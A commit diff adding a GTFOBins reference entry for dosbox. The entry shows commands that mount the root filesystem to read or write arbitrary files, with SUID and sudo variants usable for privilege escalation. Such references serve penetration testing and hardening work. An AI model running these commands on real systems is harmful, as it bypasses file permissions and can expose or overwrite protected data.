Add dosbox

_gtfobins/dosbox.md

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+---
+description: Basically `dosbox` allows to mount the local file system, so that it can be altered using DOS commands. Note that the DOS filename convention ([8.3](https://en.wikipedia.org/wiki/8.3_filename)) is used.
+functions:
+  file-read:
+    - description: The file content will be displayed in the DOSBox graphical window.
+      code: |
+        LFILE='\path\to\file_to_read'
+        dosbox -c 'mount c /' -c "type c:$LFILE"
+    - description: The file is copied to a readable location.
+      code: |
+        LFILE='\path\to\file_to_read'
+        dosbox -c 'mount c /' -c "copy c:$LFILE >c:\tmp\output" -c exit
+        cat '/tmp/OUTPUT'
+  file-write:
+    - description: Note that the name of the written file in the following example will be `FILE_TO_`.
+      code: |
+        LFILE='\path\to\file_to_write'
+        dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
+  suid:
+    - description: Note that the name of the written file in the following example will be `FILE_TO_`.
+      code: |
+        LFILE='\path\to\file_to_write'
+        ./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
+  sudo:
+    - description: Note that the name of the written file in the following example will be `FILE_TO_`.
+      code: |
+        LFILE='\path\to\file_to_write'
+        sudo dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
+---